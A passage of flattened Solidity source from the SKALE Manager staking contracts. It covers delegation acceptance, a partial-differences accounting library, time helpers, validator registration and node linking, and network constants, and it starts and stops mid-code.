(BountyV2) { return BountyV2(contractManager.getBounty()); } function _getValidatorService() private view returns (ValidatorService) { return ValidatorService(contractManager.getValidatorService()); } function _getTimeHelpers() private view returns (TimeHelpers) { return TimeHelpers(contractManager.getTimeHelpers()); } function _getConstantsHolder() private view returns (ConstantsHolder) { return ConstantsHolder(contractManager.getConstantsHolder()); } function _accept(uint delegationId) private { _checkIfDelegationIsAllowed(delegations[delegationId].holder, delegations[delegationId].validatorId); State currentState = getState(delegationId); if (currentState != State.PROPOSED) { if (currentState == State.ACCEPTED || currentState == State.DELEGATED || currentState == State.UNDELEGATION_REQUESTED || currentState == State.COMPLETED) { revert("The delegation has been already accepted"); } else if (currentState == State.CANCELED) { revert("The delegation has been cancelled by token holder"); } else if (currentState == State.REJECTED) { revert("The delegation request is outdated"); } } require(currentState == State.PROPOSED, "Cannot set delegation state to accepted"); SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(delegations[delegationId].holder); _addToAllStatistics(delegationId); uint amount = delegations[delegationId].amount; uint effectiveAmount = amount.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod) ); _getBounty().handleDelegationAdd( effectiveAmount, delegations[delegationId].started ); _sendSlashingSignals(slashingSignals); emit DelegationAccepted(delegationId); } } // SPDX-License-Identifier: AGPL-3.0-only /* PartialDifferences.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../utils/MathUtils.sol"; import "../utils/FractionUtils.sol"; /** * @title Partial Differences Library * @dev This library contains functions to manage Partial Differences data * structure. Partial Differences is an array of value differences over time. * * For example: assuming an array [3, 6, 3, 1, 2], partial differences can * represent this array as [_, 3, -3, -2, 1]. * * This data structure allows adding values on an open interval with O(1) * complexity. * * For example: add +5 to [3, 6, 3, 1, 2] starting from the second element (3), * instead of performing [3, 6, 3+5, 1+5, 2+5] partial differences allows * performing [_, 3, -3+5, -2, 1]. The original array can be restored by * adding values from partial differences. */ library PartialDifferences { using SafeMath for uint; using MathUtils for uint; struct Sequence { // month => diff mapping (uint => uint) addDiff; // month => diff mapping (uint => uint) subtractDiff; // month => value mapping (uint => uint) value; uint firstUnprocessedMonth; uint lastChangedMonth; } struct Value { // month => diff mapping (uint => uint) addDiff; // month => diff mapping (uint => uint) subtractDiff; uint value; uint firstUnprocessedMonth; uint lastChangedMonth; } // functions for sequence function addToSequence(Sequence storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; } sequence.addDiff[month] = sequence.addDiff[month].add(diff); if (sequence.lastChangedMonth != month) { sequence.lastChangedMonth = month; } } function subtractFromSequence(Sequence storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot subtract from the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; } sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff); if (sequence.lastChangedMonth != month) { sequence.lastChangedMonth = month; } } function getAndUpdateValueInSequence(Sequence storage sequence, uint month) internal returns (uint) { if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { uint nextValue = sequence.value[i.sub(1)].add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]); if (sequence.value[i] != nextValue) { sequence.value[i] = nextValue; } if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } sequence.firstUnprocessedMonth = month.add(1); } return sequence.value[month]; } function getValueInSequence(Sequence storage sequence, uint month) internal view returns (uint) { if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value[sequence.firstUnprocessedMonth.sub(1)]; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]); } return value; } else { return sequence.value[month]; } } function getValuesInSequence(Sequence storage sequence) internal view returns (uint[] memory values) { if (sequence.firstUnprocessedMonth == 0) { return values; } uint begin = sequence.firstUnprocessedMonth.sub(1); uint end = sequence.lastChangedMonth.add(1); if (end <= begin) { end = begin.add(1); } values = new uint[](end.sub(begin)); values[0] = sequence.value[sequence.firstUnprocessedMonth.sub(1)]; for (uint i = 0; i.add(1) < values.length; ++i) { uint month = sequence.firstUnprocessedMonth.add(i); values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]); } } function reduceSequence( Sequence storage sequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); require( reducingCoefficient.numerator <= reducingCoefficient.denominator, "Increasing of values is not implemented"); if (sequence.firstUnprocessedMonth == 0) { return; } uint value = getAndUpdateValueInSequence(sequence, month); if (value.approximatelyEqual(0)) { return; } sequence.value[month] = sequence.value[month] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) { sequence.subtractDiff[i] = sequence.subtractDiff[i] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); } } // functions for value function addToValue(Value storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; sequence.lastChangedMonth = month; } if (month > sequence.lastChangedMonth) { sequence.lastChangedMonth = month; } if (month >= sequence.firstUnprocessedMonth) { sequence.addDiff[month] = sequence.addDiff[month].add(diff); } else { sequence.value = sequence.value.add(diff); } } function subtractFromValue(Value storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month.add(1), "Cannot subtract from the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; sequence.lastChangedMonth = month; } if (month > sequence.lastChangedMonth) { sequence.lastChangedMonth = month; } if (month >= sequence.firstUnprocessedMonth) { sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff); } else { sequence.value = sequence.value.boundedSub(diff); } } function getAndUpdateValue(Value storage sequence, uint month) internal returns (uint) { require( month.add(1) >= sequence.firstUnprocessedMonth, "Cannot calculate value in the past"); if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]); if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } if (sequence.value != value) { sequence.value = value; } sequence.firstUnprocessedMonth = month.add(1); } return sequence.value; } function getValue(Value storage sequence, uint month) internal view returns (uint) { require( month.add(1) >= sequence.firstUnprocessedMonth, "Cannot calculate value in the past"); if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]); } return value; } else { return sequence.value; } } function getValues(Value storage sequence) internal view returns (uint[] memory values) { if (sequence.firstUnprocessedMonth == 0) { return values; } uint begin = sequence.firstUnprocessedMonth.sub(1); uint end = sequence.lastChangedMonth.add(1); if (end <= begin) { end = begin.add(1); } values = new uint[](end.sub(begin)); values[0] = sequence.value; for (uint i = 0; i.add(1) < values.length; ++i) { uint month = sequence.firstUnprocessedMonth.add(i); values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]); } } function reduceValue( Value storage sequence, uint amount, uint month) internal returns (FractionUtils.Fraction memory) { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); if (sequence.firstUnprocessedMonth == 0) { return FractionUtils.createFraction(0); } uint value = getAndUpdateValue(sequence, month); if (value.approximatelyEqual(0)) { return FractionUtils.createFraction(0); } uint _amount = amount; if (value < amount) { _amount = value; } FractionUtils.Fraction memory reducingCoefficient = FractionUtils.createFraction(value.boundedSub(_amount), value); reduceValueByCoefficient(sequence, reducingCoefficient, month); return reducingCoefficient; } function reduceValueByCoefficient( Value storage sequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { reduceValueByCoefficientAndUpdateSumIfNeeded( sequence, sequence, reducingCoefficient, month, false); } function reduceValueByCoefficientAndUpdateSum( Value storage sequence, Value storage sumSequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { reduceValueByCoefficientAndUpdateSumIfNeeded( sequence, sumSequence, reducingCoefficient, month, true); } function reduceValueByCoefficientAndUpdateSumIfNeeded( Value storage sequence, Value storage sumSequence, FractionUtils.Fraction memory reducingCoefficient, uint month, bool hasSumSequence) internal { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); if (hasSumSequence) { require(month.add(1) >= sumSequence.firstUnprocessedMonth, "Cannot reduce value in the past"); } require( reducingCoefficient.numerator <= reducingCoefficient.denominator, "Increasing of values is not implemented"); if (sequence.firstUnprocessedMonth == 0) { return; } uint value = getAndUpdateValue(sequence, month); if (value.approximatelyEqual(0)) { return; } uint newValue = sequence.value.mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator); if (hasSumSequence) { subtractFromValue(sumSequence, sequence.value.boundedSub(newValue), month); } sequence.value = newValue; for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) { uint newDiff = sequence.subtractDiff[i] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); if (hasSumSequence) { sumSequence.subtractDiff[i] = sumSequence.subtractDiff[i] .boundedSub(sequence.subtractDiff[i].boundedSub(newDiff)); } sequence.subtractDiff[i] = newDiff; } } function clear(Value storage sequence) internal { for (uint i = sequence.firstUnprocessedMonth; i <= sequence.lastChangedMonth; ++i) { if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } if (sequence.value > 0) { delete sequence.value; } if (sequence.firstUnprocessedMonth > 0) { delete sequence.firstUnprocessedMonth; } if (sequence.lastChangedMonth > 0) { delete sequence.lastChangedMonth; } } } // SPDX-License-Identifier: AGPL-3.0-only /* TimeHelpers.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../thirdparty/BokkyPooBahsDateTimeLibrary.sol"; /** * @title TimeHelpers * @dev The contract performs time operations. * * These functions are used to calculate monthly and Proof of Use epochs. */ contract TimeHelpers { using SafeMath for uint; uint constant private _ZERO_YEAR = 2020; function calculateProofOfUseLockEndTime(uint month, uint lockUpPeriodDays) external view returns (uint timestamp) { timestamp = BokkyPooBahsDateTimeLibrary.addDays(monthToTimestamp(month), lockUpPeriodDays); } function addDays(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addDays(fromTimestamp, n); } function addMonths(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addMonths(fromTimestamp, n); } function addYears(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addYears(fromTimestamp, n); } function getCurrentMonth() external view virtual returns (uint) { return timestampToMonth(now); } function timestampToDay(uint timestamp) external view returns (uint) { uint wholeDays = timestamp / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY; uint zeroDay = BokkyPooBahsDateTimeLibrary.timestampFromDate(_ZERO_YEAR, 1, 1) / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY; require(wholeDays >= zeroDay, "Timestamp is too far in the past"); return wholeDays - zeroDay; } function timestampToYear(uint timestamp) external view virtual returns (uint) { uint year; (year, , ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp); require(year >= _ZERO_YEAR, "Timestamp is too far in the past"); return year - _ZERO_YEAR; } function timestampToMonth(uint timestamp) public view virtual returns (uint) { uint year; uint month; (year, month, ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp); require(year >= _ZERO_YEAR, "Timestamp is too far in the past"); month = month.sub(1).add(year.sub(_ZERO_YEAR).mul(12)); require(month > 0, "Timestamp is too far in the past"); return month; } function monthToTimestamp(uint month) public view virtual returns (uint timestamp) { uint year = _ZERO_YEAR; uint _month = month; year = year.add(_month.div(12)); _month = _month.mod(12); _month = _month.add(1); return BokkyPooBahsDateTimeLibrary.timestampFromDate(year, _month, 1); } } // SPDX-License-Identifier: AGPL-3.0-only /* ValidatorService.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/cryptography/ECDSA.sol"; import "../Permissions.sol"; import "../ConstantsHolder.sol"; import "./DelegationController.sol"; import "./TimeHelpers.sol"; /** * @title ValidatorService * @dev This contract handles all validator operations including registration, * node management, validator-specific delegation parameters, and more. * * TIP: For more information see our main instructions * https://forum.skale.network/t/skale-mainnet-launch-faq/182[SKALE MainNet Launch FAQ]. * * Validators register an address, and use this address to accept delegations and * register nodes. */ contract ValidatorService is Permissions { using ECDSA for bytes32; struct Validator { string name; address validatorAddress; address requestedAddress; string description; uint feeRate; uint registrationTime; uint minimumDelegationAmount; bool acceptNewRequests; } /** * @dev Emitted when a validator registers. */ event ValidatorRegistered( uint validatorId ); /** * @dev Emitted when a validator address changes. */ event ValidatorAddressChanged( uint validatorId, address newAddress ); /** * @dev Emitted when a validator is enabled. */ event ValidatorWasEnabled( uint validatorId ); /** * @dev Emitted when a validator is disabled. */ event ValidatorWasDisabled( uint validatorId ); /** * @dev Emitted when a node address is linked to a validator. */ event NodeAddressWasAdded( uint validatorId, address nodeAddress ); /** * @dev Emitted when a node address is unlinked from a validator. */ event NodeAddressWasRemoved( uint validatorId, address nodeAddress ); mapping (uint => Validator) public validators; mapping (uint => bool) private _trustedValidators; uint[] public trustedValidatorsList; // address => validatorId mapping (address => uint) private _validatorAddressToId; // address => validatorId mapping (address => uint) private _nodeAddressToValidatorId; // validatorId => nodeAddress[] mapping (uint => address[]) private _nodeAddresses; uint public numberOfValidators; bool public useWhitelist; modifier checkValidatorExists(uint validatorId) { require(validatorExists(validatorId), "Validator with such ID does not exist"); _; } /** * @dev Creates a new validator ID that includes a validator name, description, * commission or fee rate, and a minimum delegation amount accepted by the validator. * * Emits a {ValidatorRegistered} event. * * Requirements: * * - Sender must not already have registered a validator ID. * - Fee rate must be between 0 - 1000‰. Note: in per mille. */ function registerValidator( string calldata name, string calldata description, uint feeRate, uint minimumDelegationAmount ) external returns (uint validatorId) { require(!validatorAddressExists(msg.sender), "Validator with such address already exists"); require(feeRate <= 1000, "Fee rate of validator should be lower than 100%"); validatorId = ++numberOfValidators; validators[validatorId] = Validator( name, msg.sender, address(0), description, feeRate, now, minimumDelegationAmount, true ); _setValidatorAddress(validatorId, msg.sender); emit ValidatorRegistered(validatorId); } /** * @dev Allows Admin to enable a validator by adding their ID to the * trusted list. * * Emits a {ValidatorWasEnabled} event. * * Requirements: * * - Validator must not already be enabled. */ function enableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyAdmin { require(!_trustedValidators[validatorId], "Validator is already enabled"); _trustedValidators[validatorId] = true; trustedValidatorsList.push(validatorId); emit ValidatorWasEnabled(validatorId); } /** * @dev Allows Admin to disable a validator by removing their ID from * the trusted list. * * Emits a {ValidatorWasDisabled} event. * * Requirements: * * - Validator must not already be disabled. */ function disableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyAdmin { require(_trustedValidators[validatorId], "Validator is already disabled"); _trustedValidators[validatorId] = false; uint position = _find(trustedValidatorsList, validatorId); if (position < trustedValidatorsList.length) { trustedValidatorsList[position] = trustedValidatorsList[trustedValidatorsList.length.sub(1)]; } trustedValidatorsList.pop(); emit ValidatorWasDisabled(validatorId); } /** * @dev Owner can disable the trusted validator list. Once turned off, the * trusted list cannot be re-enabled. */ function disableWhitelist() external onlyOwner { useWhitelist = false; } /** * @dev Allows `msg.sender` to request a new address. * * Requirements: * * - `msg.sender` must already be a validator. * - New address must not be null. * - New address must not be already registered as a validator. */ function requestForNewAddress(address newValidatorAddress) external { require(newValidatorAddress != address(0), "New address cannot be null"); require(_validatorAddressToId[newValidatorAddress] == 0, "Address already registered"); // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].requestedAddress = newValidatorAddress; } /** * @dev Allows msg.sender to confirm an address change. * * Emits a {ValidatorAddressChanged} event. * * Requirements: * * - Must be owner of new address. */ function confirmNewAddress(uint validatorId) external checkValidatorExists(validatorId) { require( getValidator(validatorId).requestedAddress == msg.sender, "The validator address cannot be changed because it is not the actual owner" ); delete validators[validatorId].requestedAddress; _setValidatorAddress(validatorId, msg.sender); emit ValidatorAddressChanged(validatorId, validators[validatorId].validatorAddress); } /** * @dev Links a node address to validator ID. Validator must present * the node signature of the validator ID. * * Requirements: * * - Signature must be valid. * - Address must not be assigned to a validator. */ function linkNodeAddress(address nodeAddress, bytes calldata sig) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require( keccak256(abi.encodePacked(validatorId)).toEthSignedMessageHash().recover(sig) == nodeAddress, "Signature is not pass" ); require(_validatorAddressToId[nodeAddress] == 0, "Node address is a validator"); _addNodeAddress(validatorId, nodeAddress); emit NodeAddressWasAdded(validatorId, nodeAddress); } /** * @dev Unlinks a node address from a validator. * * Emits a {NodeAddressWasRemoved} event. */ function unlinkNodeAddress(address nodeAddress) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); this.removeNodeAddress(validatorId, nodeAddress); emit NodeAddressWasRemoved(validatorId, nodeAddress); } /** * @dev Allows a validator to set a minimum delegation amount. */ function setValidatorMDA(uint minimumDelegationAmount) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].minimumDelegationAmount = minimumDelegationAmount; } /** * @dev Allows a validator to set a new validator name. */ function setValidatorName(string calldata newName) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].name = newName; } /** * @dev Allows a validator to set a new validator description. */ function setValidatorDescription(string calldata newDescription) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].description = newDescription; } /** * @dev Allows a validator to start accepting new delegation requests. * * Requirements: * * - Must not have already enabled accepting new requests. */ function startAcceptingNewRequests() external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require(!isAcceptingNewRequests(validatorId), "Accepting request is already enabled"); validators[validatorId].acceptNewRequests = true; } /** * @dev Allows a validator to stop accepting new delegation requests. * * Requirements: * * - Must not have already stopped accepting new requests. */ function stopAcceptingNewRequests() external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require(isAcceptingNewRequests(validatorId), "Accepting request is already disabled"); validators[validatorId].acceptNewRequests = false; } function removeNodeAddress(uint validatorId, address nodeAddress) external allowTwo("ValidatorService", "Nodes") { require(_nodeAddressToValidatorId[nodeAddress] == validatorId, "Validator does not have permissions to unlink node"); delete _nodeAddressToValidatorId[nodeAddress]; for (uint i = 0; i < _nodeAddresses[validatorId].length; ++i) { if (_nodeAddresses[validatorId][i] == nodeAddress) { if (i + 1 < _nodeAddresses[validatorId].length) { _nodeAddresses[validatorId][i] = _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)]; } delete _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)]; _nodeAddresses[validatorId].pop(); break; } } } /** * @dev Returns the amount of validator bond (self-delegation). */ function getAndUpdateBondAmount(uint validatorId) external returns (uint) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); return delegationController.getAndUpdateDelegatedByHolderToValidatorNow( getValidator(validatorId).validatorAddress, validatorId ); } /** * @dev Returns node addresses linked to the msg.sender. */ function getMyNodesAddresses() external view returns (address[] memory) { return getNodeAddresses(getValidatorId(msg.sender)); } /** * @dev Returns the list of trusted validators. */ function getTrustedValidators() external view returns (uint[] memory) { return trustedValidatorsList; } /** * @dev Checks whether the validator ID is linked to the validator address. */ function checkValidatorAddressToId(address validatorAddress, uint validatorId) external view returns (bool) { return getValidatorId(validatorAddress) == validatorId ? true : false; } /** * @dev Returns the validator ID linked to a node address. * * Requirements: * * - Node address must be linked to a validator. */ function getValidatorIdByNodeAddress(address nodeAddress) external view returns (uint validatorId) { validatorId = _nodeAddressToValidatorId[nodeAddress]; require(validatorId != 0, "Node address is not assigned to a validator"); } function checkValidatorCanReceiveDelegation(uint validatorId, uint amount) external view { require(isAuthorizedValidator(validatorId), "Validator is not authorized to accept delegation request"); require(isAcceptingNewRequests(validatorId), "The validator is not currently accepting new requests"); require( validators[validatorId].minimumDelegationAmount <= amount, "Amount does not meet the validator's minimum delegation amount" ); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); useWhitelist = true; } /** * @dev Returns a validator's node addresses. */ function getNodeAddresses(uint validatorId) public view returns (address[] memory) { return _nodeAddresses[validatorId]; } /** * @dev Checks whether validator ID exists. */ function validatorExists(uint validatorId) public view returns (bool) { return validatorId <= numberOfValidators && validatorId != 0; } /** * @dev Checks whether validator address exists. */ function validatorAddressExists(address validatorAddress) public view returns (bool) { return _validatorAddressToId[validatorAddress] != 0; } /** * @dev Checks whether validator address exists. */ function checkIfValidatorAddressExists(address validatorAddress) public view { require(validatorAddressExists(validatorAddress), "Validator address does not exist"); } /** * @dev Returns the Validator struct. */ function getValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (Validator memory) { return validators[validatorId]; } /** * @dev Returns the validator ID for the given validator address. */ function getValidatorId(address validatorAddress) public view returns (uint) { checkIfValidatorAddressExists(validatorAddress); return _validatorAddressToId[validatorAddress]; } /** * @dev Checks whether the validator is currently accepting new delegation requests. */ function isAcceptingNewRequests(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) { return validators[validatorId].acceptNewRequests; } function isAuthorizedValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) { return _trustedValidators[validatorId] || !useWhitelist; } // private /** * @dev Links a validator address to a validator ID. * * Requirements: * * - Address is not already in use by another validator. */ function _setValidatorAddress(uint validatorId, address validatorAddress) private { if (_validatorAddressToId[validatorAddress] == validatorId) { return; } require(_validatorAddressToId[validatorAddress] == 0, "Address is in use by another validator"); address oldAddress = validators[validatorId].validatorAddress; delete _validatorAddressToId[oldAddress]; _nodeAddressToValidatorId[validatorAddress] = validatorId; validators[validatorId].validatorAddress = validatorAddress; _validatorAddressToId[validatorAddress] = validatorId; } /** * @dev Links a node address to a validator ID. * * Requirements: * * - Node address must not be already linked to a validator. */ function _addNodeAddress(uint validatorId, address nodeAddress) private { if (_nodeAddressToValidatorId[nodeAddress] == validatorId) { return; } require(_nodeAddressToValidatorId[nodeAddress] == 0, "Validator cannot override node address"); _nodeAddressToValidatorId[nodeAddress] = validatorId; _nodeAddresses[validatorId].push(nodeAddress); } function _find(uint[] memory array, uint index) private pure returns (uint) { uint i; for (i = 0; i < array.length; i++) { if (array[i] == index) { return i; } } return array.length; } } // SPDX-License-Identifier: AGPL-3.0-only /* ConstantsHolder.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; /** * @title ConstantsHolder * @dev Contract contains constants and common variables for the SKALE Network. */ contract ConstantsHolder is Permissions { // initial price for creating Node (100 SKL) uint public constant NODE_DEPOSIT = 100 * 1e18; uint8 public constant TOTAL_SPACE_ON_NODE = 128; // part of Node for Small Skale-chain (1/128 of Node) uint8 public constant SMALL_DIVISOR = 128; // part of Node for Medium Skale-chain (1/32 of Node) uint8 public constant MEDIUM_DIVISOR = 32; // part of Node for Large Skale-chain (full Node) uint8 public constant LARGE_DIVISOR = 1; // part of Node for Medium Test Skale-chain (1/4 of Node) uint8 public constant MEDIUM_TEST_DIVISOR = 4; // typically number of Nodes for Skale-chain (16 Nodes) uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16; // number of Nodes for Test Skale-chain (2 Nodes) uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2; // number of Nodes for Test Skale-chain (4 Nodes) uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4; // number of seconds in one year uint32 public constant SECONDS_TO_YEAR = 31622400; // initial number of monitors uint public constant NUMBER_OF_MONITORS = 24; uint public constant OPTIMAL_LOAD_PERCENTAGE = 80; uint public constant ADJUSTMENT_SPEED = 1000; uint public constant COOLDOWN_TIME = 60; uint public constant MIN_PRICE = 10**6; uint public constant MSR_REDUCING_COEFFICIENT = 2; uint public constant DOWNTIME_THRESHOLD_PART = 30; uint public constant BOUNTY_LOCKUP_MONTHS = 2; uint public constant ALRIGHT_DELTA = 54640; uint public constant BROADCAST_DELTA = 122660; uint public constant COMPLAINT_BAD_DATA_DELTA = 40720; uint public constant PRE_RESPONSE_DELTA = 67780; uint public constant COMPLAINT_DELTA = 67100; uint public constant RESPONSE_DELTA = 215000; // MSR - Minimum staking requirement uint public msr; // Reward period - 30 days (each 30 days Node would be granted for bounty) uint32 public rewardPeriod; // Allowable latency - 150000 ms by default uint32 public allowableLatency; /** * Delta period - 1 hour (1 hour before Reward period became Monitors need * to send Verdicts and 1 hour after Reward period became Node need to come * and get Bounty) */ uint32 public deltaPeriod; /** * Check time - 2 minutes (every 2 minutes monitors should check metrics * from checked nodes) */ uint public checkTime; //Need to add minimal allowed parameters for verdicts uint public launchTimestamp; uint public rotationDelay; uint public proofOfUseLockUpPeriodDays; uint public proofOfUseDelegationPercentage; uint public limitValidatorsPerDelegator; uint256 public firstDelegationsMonth; // deprecated // date when schains will be allowed for creation uint public schainCreationTimeStamp; uint public minimalSchainLifetime; uint public complaintTimelimit; /** * @dev Allows the Owner to set new reward and delta periods * This function is only for tests. */ function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external onlyOwner { require( newRewardPeriod >= newDeltaPeriod && newRewardPeriod - newDeltaPeriod >= checkTime, "Incorrect Periods" ); rewardPeriod = newRewardPeriod; deltaPeriod = newDeltaPeriod; } /** * @dev Allows the Owner to set the new check time. * This function is only for tests. */ function setCheckTime(uint newCheckTime) external onlyOwner { require(rewardPeriod - deltaPeriod >= checkTime, "Incorrect check time"); checkTime = newCheckTime; } /** * @dev Allows the Owner to set the allowable latency in milliseconds. * This function is only for testing purposes. */ function setLatency(uint32 newAllowableLatency) external onlyOwner { allowableLatency = newAllowableLatency; } /** * @dev Allows the Owner to set the minimum stake requirement. */ function setMSR(uint newMSR) external onlyOwner { msr = newMSR; } /** * @dev Allows the Owner to set the launch timestamp. */ function setLaunchTimestamp(uint timestamp) external onlyOwner { require(now < launchTimestamp, "Cannot set network launch timestamp because network is already launched"); launchTimestamp = timestamp; } /** * @dev Allows the Owner to set the node rotation delay. */ function setRotationDelay(uint newDelay) external onlyOwner { rotationDelay = newDelay; } /** * @dev Allows the Owner to set the proof-of-use lockup period. */ function setProofOfUseLockUpPeriod(uint periodDays) external onlyOwner { proofOfUseLockUpPeriodDays = periodDays; } /** * @dev Allows the Owner to set the proof-of-use delegation percentage * requirement. */ function setProofOfUseDelegationPercentage(uint percentage) external onlyOwner { require(percentage <= 100, "Percentage value is incorrect"); proofOfUseDelegationPercentage = percentage; } /** * @dev Allows the Owner to set the maximum number of validators that a * single delegator can delegate to. */ function setLimitValidatorsPerDelegator(uint newLimit) external onlyOwner { limitValidatorsPerDelegator = newLimit; } function setSchainCreationTimeStamp(uint timestamp) external onlyOwner { schainCreationTimeStamp = timestamp; } function setMinimalSchainLifetime(uint lifetime) external onlyOwner { minimalSchainLifetime = lifetime; } function 